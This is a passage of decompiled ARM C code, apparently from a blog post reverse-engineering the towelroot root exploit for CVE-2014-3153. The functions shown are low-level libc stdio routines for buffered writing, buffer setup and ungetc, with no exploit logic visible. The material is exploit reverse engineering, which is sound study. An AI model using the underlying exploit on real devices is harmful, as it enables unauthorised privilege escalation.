// 201A0: using guessed type void *off_201A0;
// 201A4: using guessed type int dword_201A4;
// 201A8: using guessed type void *off_201A8;
// 201AC: using guessed type void *off_201AC;

//----- (000201B0) --------------------------------------------------------
signed int __fastcall sub_201B0(signed int a1, int a2)
{
signed int v2; // r4@1
int v3; // r6@1
__int16 v4; // r0@2
unsigned int v5; // r7@6
int v6; // r5@6
__int16 v7; // r3@6
int v8; // r0@10
int v9; // r2@11
int v10; // r0@21
int v11; // r2@22
int v12; // r1@22
int v13; // r3@23
int v14; // r2@26
int v15; // r3@26
int v16; // r0@27
int v17; // r2@34
int v18; // r3@36
unsigned int v19; // r0@41
int v20; // r2@46
int v21; // r0@46
int v22; // r3@47
int v23; // r0@53
int v24; // r1@57
int v26; // [sp+0h] [bp-30h]@19
int v27; // [sp+0h] [bp-30h]@24
int v28; // [sp+0h] [bp-30h]@46
int v29; // [sp+4h] [bp-2Ch]@14
int v30; // [sp+4h] [bp-2Ch]@19
int v31; // [sp+4h] [bp-2Ch]@23
int v32; // [sp+8h] [bp-28h]@6
int v33; // [sp+Ch] [bp-24h]@24
int v34; // [sp+Ch] [bp-24h]@44
signed int v35; // [sp+10h] [bp-20h]@14

v2 = a1;
v3 = a2;
if ( *(_DWORD *)(a2 + 8) )
{
v4 = *(_WORD *)(a1 + 12);
if ( (!(v4 & 8) || !*(_DWORD *)(v2 + 16)) && sub_1B7D0(v2) )
{
*(_DWORD *)sub_1FD74() = 9;
return -1;
}
v5 = **(_DWORD **)v3;
v6 = *(_DWORD *)(*(_DWORD *)v3 + 4);
v32 = *(_DWORD *)v3 + 8;
v7 = *(_WORD *)(v2 + 12);
if ( v7 & 2 )
{
while ( 1 )
{
while ( !v6 )
{
v5 = *(_DWORD *)v32;
v6 = *(_DWORD *)(v32 + 4);
v32 += 8;
}
v8 = (*(int (__fastcall **)(_DWORD, unsigned int, int))(v2 + 44))(*(_DWORD *)(v2 + 28), v5, v6);
if ( v8 <= 0 )
break;
v9 = *(_DWORD *)(v3 + 8);
*(_DWORD *)(v3 + 8) = v9 - v8;
if ( v9 == v8 )
return 0;
v5 += v8;
v6 -= v8;
}
LABEL_59:
*(_WORD *)(v2 + 12) |= 0x40u;
return -1;
}
if ( v7 & 1 )
{
v29 = 0;
v35 = 0;
while ( 1 )
{
while ( !v6 )
{
v35 = 0;
v5 = *(_DWORD *)v32;
v6 = *(_DWORD *)(v32 + 4);
v32 += 8;
}
if ( !v35 )
{
v19 = sub_1E5DC(v5, 10, v6);
if ( v19 )
{
v29 = v19 + 1 - v5;
v35 = 1;
}
else
{
v29 = v6 + 1;
v35 = 1;
}
}
v34 = v29;
if ( v29 > v6 )
v34 = v6;
v20 = *(_DWORD *)(v2 + 20);
v28 = v20 + *(_DWORD *)(v2 + 8);
v21 = *(_DWORD *)v2;
if ( v34 <= v28 || (v22 = *(_DWORD *)(v2 + 16), v21 <= (unsigned int)v22) )
{
if ( v34 < v20 )
{
sub_DE6C(v21, v5, v34, v34);
v23 = *(_DWORD *)v2 + v34;
*(_DWORD *)(v2 + 8) -= v34;
*(_DWORD *)v2 = v23;
v28 = v34;
}
else
{
v28 = (*(int (__fastcall **)(_DWORD, unsigned int))(v2 + 44))(*(_DWORD *)(v2 + 28), v5);
if ( v28 <= 0 )
goto LABEL_59;
}
}
else
{
sub_DE6C(v21, v5, v28, v22);
*(_DWORD *)v2 += v28;
if ( sub_18C54(v2) )
goto LABEL_59;
}
v29 -= v28;
if ( !v29 )
{
if ( sub_18C54(v2) )
goto LABEL_59;
v35 = 0;
}
v24 = *(_DWORD *)(v3 + 8) - v28;
*(_DWORD *)(v3 + 8) = v24;
if ( !v24 )
return 0;
v5 += v28;
v6 -= v28;
}
}
while ( 1 )
{
while ( !v6 )
{
v5 = *(_DWORD *)v32;
v6 = *(_DWORD *)(v32 + 4);
v32 += 8;
}
if ( (*(_WORD *)(v2 + 12) & 0x4200) == 16896 && *(_DWORD *)(v2 + 8) < v6 )
{
v30 = *(_DWORD *)v2 - *(_DWORD *)(v2 + 16);
v26 = *(_DWORD *)(v2 + 20);
do
v26 = 2 * v26 + 1;
while ( v26 < v6 + v30 );
v10 = sub_1FDD8();
if ( !v10 )
goto LABEL_59;
v11 = *(_DWORD *)(v2 + 8);
v12 = *(_DWORD *)(v2 + 20);
*(_DWORD *)(v2 + 16) = v10;
*(_DWORD *)(v2 + 8) = v11 - v12 + v26;
*(_DWORD *)(v2 + 20) = v26;
*(_DWORD *)v2 = v10 + v30;
}
v31 = *(_DWORD *)(v2 + 8);
v13 = *(_WORD *)(v2 + 12);
if ( v13 & 0x200 )
break;
v16 = *(_DWORD *)v2;
v27 = v6;
if ( v6 <= v31 || (v13 = *(_DWORD *)(v2 + 16), v16 <= (unsigned int)v13) )
{
if ( v6 < *(_DWORD *)(v2 + 20) )
{
sub_DE6C(v16, v5, v6, v13);
v17 = *(_DWORD *)v2;
*(_DWORD *)(v2 + 8) -= v6;
v15 = v17 + v6;
LABEL_35:
*(_DWORD *)v2 = v15;
goto LABEL_36;
}
v27 = (*(int (__fastcall **)(_DWORD, unsigned int))(v2 + 44))(*(_DWORD *)(v2 + 28), v5);
if ( v27 <= 0 )
goto LABEL_59;
}
else
{
sub_DE6C(v16, v5, v31, v13);
*(_DWORD *)v2 += v31;
if ( sub_18C54(v2) )
goto LABEL_59;
v27 = v31;
}
LABEL_36:
v18 = *(_DWORD *)(v3 + 8) - v27;
*(_DWORD *)(v3 + 8) = v18;
if ( !v18 )
return 0;
v5 += v27;
v6 -= v27;
}
v27 = v6;
v33 = v6;
if ( v6 > *(_DWORD *)(v2 + 8) )
v33 = *(_DWORD *)(v2 + 8);
sub_DE6C(*(_DWORD *)v2, v5, v33, v13);
v14 = *(_DWORD *)v2;
*(_DWORD *)(v2 + 8) -= v33;
v15 = v14 + v33;
goto LABEL_35;
}
return 0;
}

//----- (00020418) --------------------------------------------------------
signed int __fastcall sub_20418(int a1, int a2, int a3)
{
int v3; // r5@1
int v4; // r7@1
int v5; // r0@1
char *v6; // r6@1
int v8; // [sp+4h] [bp-84h]@1
__int16 v9; // [sp+18h] [bp-70h]@0
int v10; // [sp+40h] [bp-48h]@0

v8 = a3;
v3 = a2;
v4 = a1;
v5 = *(_WORD *)(a1 + 14);
v6 = (char *)off_2048C + 132142;
if ( v5 < 0 || sub_D7EC(v5) < 0 )
{
*(_DWORD *)v8 = 0;
LABEL_5:
*(_DWORD *)v3 = 1024;
return 2048;
}
*(_DWORD *)v8 = (v9 & 0xF000u) + dword_20490 <= 0;
if ( !v10 )
goto LABEL_5;
*(_DWORD *)v3 = v10;
*(_DWORD *)(v4 + 76) = v10;
if ( (unsigned __int16)(v9 & 0xF000) == 0x8000 && *(_DWORD *)(v4 + 40) == *(_DWORD *)&v6[dword_20494] )
return 1024;
return 2048;
}
// 2048C: using guessed type void *off_2048C;
// 20490: using guessed type int dword_20490;
// 20494: using guessed type int dword_20494;

//----- (00020498) --------------------------------------------------------
signed int __fastcall sub_20498(signed int result)
{
__int16 v1; // r3@1
char *v2; // r5@1
signed int v3; // r4@1
__int16 v4; // r7@2
int v5; // r6@2
int v6; // r2@3
__int16 v7; // r5@5
int v8; // r6@5
int v9; // [sp+0h] [bp-20h]@2
int v10; // [sp+4h] [bp-1Ch]@2

v1 = *(_WORD *)(result + 12);
v2 = (char *)off_20508 + 132260;
v3 = result;
if ( v1 & 2 )
goto LABEL_4;
v4 = sub_20418(result, (int)&v10, (int)&v9);
v5 = sub_1FD84();
if ( !v5 )
{
v6 = *(_WORD *)(v3 + 12);
result = v6 | 2;
*(_WORD *)(v3 + 12) = v6 | 2;
LABEL_4:
*(_DWORD *)v3 = v3 + 67;
*(_DWORD *)(v3 + 16) = v3 + 67;
*(_DWORD *)(v3 + 20) = 1;
return result;
}
result = sub_1B870(*(_DWORD *)&v2[dword_2050C]);
v7 = v4 | 0x80;
*(_DWORD *)v3 = v5;
*(_DWORD *)(v3 + 16) = v5;
v8 = v9;
*(_DWORD *)(v3 + 20) = v10;
if ( v8 )
{
result = sub_18928(*(_WORD *)(v3 + 14));
if ( result )
{
result = 1;
v7 = v4 | 0x81;
}
}
*(_WORD *)(v3 + 12) |= v7;
return result;
}
// 20508: using guessed type void *off_20508;
// 2050C: using guessed type int dword_2050C;

//----- (00020510) --------------------------------------------------------
signed int __fastcall sub_20510(int a1)
{
int v1; // r3@1
int v2; // r6@1
int v3; // r5@1
int v4; // r0@2
int v5; // r3@3
int v6; // r0@3
int v7; // r7@4
int v8; // r0@4
int v9; // r3@4
int v10; // r6@4
int v11; // r0@5

v1 = *(_DWORD *)(a1 + 48);
v2 = *(_DWORD *)v1;
v3 = a1;
if ( *(_DWORD *)v1 == a1 + 64 )
{
v4 = sub_1FD84();
if ( v4 )
{
v5 = dword_2058C;
**(_DWORD **)(v3 + 48) = v4;
v6 = v4 + v5;
*(_DWORD *)(*(_DWORD *)(v3 + 48) + 4) = 1024;
*(_BYTE *)(v6 + 2) = *(_BYTE *)(v3 + 66);
*(_BYTE *)(v6 + 1) = *(_BYTE *)(v3 + 65);
*(_BYTE *)v6 = *(_BYTE *)v2;
*(_DWORD *)v3 = v6;
return 0;
}
}
else
{
v7 = *(_DWORD *)(v1 + 4);
v8 = sub_1FDD8();
v10 = v8;
if ( v8 )
{
sub_DE6C(v8 + v7, v8, v7, v9);
v11 = *(_DWORD *)(v3 + 48);
*(_DWORD *)v3 = v10 + v7;
*(_DWORD *)v11 = v10;
*(_DWORD *)(*(_DWORD *)(v3 + 48) + 4) = 2 * v7;
return 0;
}
}
return -1;
}
// 2058C: using guessed type int dword_2058C;

//----- (00020590) --------------------------------------------------------
signed int __fastcall sub_20590(int a1, int a2)
{
int v2; // r5@1
int v3; // r4@1
__int16 v4; // r3@4
__int16 v5; // r1@8
int v6; // r3@10
int v7; // r6@10
int v8; // r0@13
int v9; // r3@13
unsigned int v10; // r2@14
int v11; // r3@16
int v12; // r6@17
int v13; // r2@18
int v14; // r0@18
int v15; // r3@18

v2 = a1;
v3 = a2;
if ( a1 != -1 )
{
if ( !**(_DWORD **)((char *)off_20658 + dword_2065C + 132508) )
sub_18D40();
v4 = *(_WORD *)(v3 + 12);
if ( !(v4 & 4) )
{
if ( !(v4 & 0x10) )
return -1;
if ( v4 & 8 )
{
if ( sub_18C08(v3) )
return -1;
v5 = *(_WORD *)(v3 + 12);
*(_DWORD *)(v3 + 8) = 0;
*(_DWORD *)(v3 + 24) = 0;
*(_WORD *)(v3 + 12) = v5 & 0xFFF7;
}
*(_WORD *)(v3 + 12) |= 4u;
}
v6 = *(_DWORD *)(v3 + 48);
v7 = (unsigned __int8)v2;
if ( *(_DWORD *)v6 )
{
if ( *(_DWORD *)(v3 + 4) < *(_DWORD *)(v6 + 4) || !sub_20510(v3) )
{
v8 = *(_DWORD *)v3 - 1;
*(_DWORD *)v3 = v8;
*(_BYTE *)v8 = v7;
v9 = *(_DWORD *)(v3 + 4) + 1;
LABEL_19:
*(_DWORD *)(v3 + 4) = v9;
return v7;
}
return -1;
}
v10 = *(_DWORD *)(v3 + 16);
*(_WORD *)(v3 + 12) &= 0xFFDFu;
if ( !v10 || *(_DWORD *)v3 <= v10 || (v11 = *(_DWORD *)v3 - 1, v2 = *(_BYTE *)v11, v2 != v7) )
{
v13 = *(_DWORD *)(v3 + 48);
v14 = *(_DWORD *)(v3 + 4);
*(_DWORD *)(v3 + 56) = *(_DWORD *)v3;
*(_DWORD *)v13 = v3 + 64;
v15 = *(_DWORD *)(v3 + 48);
*(_DWORD *)(v3 + 60) = v14;
*(_DWORD *)(v15 + 4) = 3;
*(_DWORD *)v3 = v3 + 66;
*(_BYTE *)(v3 + 66) = v7;
v9 = 1;
goto LABEL_19;
}
v12 = *(_DWORD *)(v3 + 4);
*(_DWORD *)v3 = v11;
*(_DWORD *)(v3 + 4) = v12 + 1;
}
return v2;
}
// 20658: using guessed type void *off_20658;
// 2065C: using guessed type int dword_2065C;

//----- (00020780) --------------------------------------------------------
int __fastcall sub_20780(int a1, char *a2, int a3)
{
char *v3; // r5@1
int v4; // r6@1
int v5; // r0@3
int v6; // r7@3
int v8; // [sp+4h] [bp-34h]@1
int *v9; // [sp+8h] [bp-30h]@3
signed int v10; // [sp+Ch] [bp-2Ch]@3
char *v11; // [sp+10h] [bp-28h]@3
int v12; // [sp+14h] [bp-24h]@3
int v13; // [sp+18h] [bp-20h]@3
int v14; // [sp+1Ch] [bp-1Ch]@3

v8 = a1;
v3 = a2;
v4 = a3;
if ( !a2 )
v3 = (char *)off_207DC + 133012;
v5 = sub_E36C(v3, off_207E0 + 133020);
v6 = 2 - (v5 - (((unsigned int)v5 < 1) + v5 - 1));
v9 = &v8;
v10 = 1;
v11 = v3;
v12 = sub_185F4((int)v3) + 1;
v13 = v4;
v14 = sub_185F4(v4) + 1;
return (*(int (__fastcall **)(int, int **))((char *)off_207E4 + 12 * v6 + 133074))(v6, &v9);
}
// 207DC: using guessed type void *off_207DC;
// 207E0: using guessed type char *off_207E0;
// 207E4: using guessed type void *off_207E4;

//----- (000207E8) --------------------------------------------------------
int __fastcall sub_207E8(int a1, char *a2, int a3, int a4)
{
char *v4; // r7@1
int v5; // r5@1
int v6; // r6@1
int result; // r0@1
int *v8; // [sp+0h] [bp-428h]@1
char v9; // [sp+4h] [bp-424h]@1
int varg_r2; // [sp+420h] [bp-8h]@1
int varg_r3; // [sp+424h] [bp-4h]@1

varg_r2 = a3;
varg_r3 = a4;
v4 = a2;
v5 = *(_DWORD *)((char *)off_20840 + dword_20844 + 133110);
v6 = a1;
*(int **)((char *)&v8 + dword_2084C) = *(int **)v5;
v8 = &varg_r3;
sub_229AC((int)&v9, 1024, a3, (int)&varg_r3);
result = sub_20780(v6, v4, (int)&v9);
if ( *(int **)((char *)&v8 + dword_2084C) != *(int **)v5 )
result = ((int (__fastcall *)(int))loc_1E9B0)(result);
return result;
}
// 20840: using guessed type void *off_20840;
// 20844: using guessed type int dword_20844;
// 2084C: using guessed type int dword_2084C;

//----- (000229AC) --------------------------------------------------------
int __fastcall sub_229AC(int a1, signed int a2, int a3, int a4)
{
int result; // r0@5
int v5; // [sp+4h] [bp-74h]@5
int v6; // [sp+Ch] [bp-6Ch]@5
signed __int16 v7; // [sp+10h] [bp-68h]@5
signed __int16 v8; // [sp+12h] [bp-66h]@5
int v9; // [sp+14h] [bp-64h]@5
int v10; // [sp+18h] [bp-60h]@5
int *v11; // [sp+34h] [bp-44h]@1
int v12; // [sp+58h] [bp-20h]@1
int v13; // [sp+5Ch] [bp-1Ch]@1
char v14; // [sp+67h] [bp-11h]@4

v11 = &v12;
v12 = 0;
v13 = 0;
if ( a2 >= 0 )
{
if ( !a2 )
{
a2 = 1;
a1 = (int)&v14;
}
}
else
{
a2 = dword_229F8;
}
v8 = -1;
v5 = a1;
v9 = a1;
v6 = a2 - 1;
v10 = a2 - 1;
v7 = 520;
result = sub_19AFC((signed int)&v5, a3, a4);
*(_BYTE *)v5 = 0;
return result;
}
// 229F8: using guessed type int dword_229F8;

#error "There were 1 decompilation failure(s) on 131 function(s)"

原文地址:https://www.cnblogs.com/Y4ng/p/CVE_2014_3153_com_geohot_towelroot.html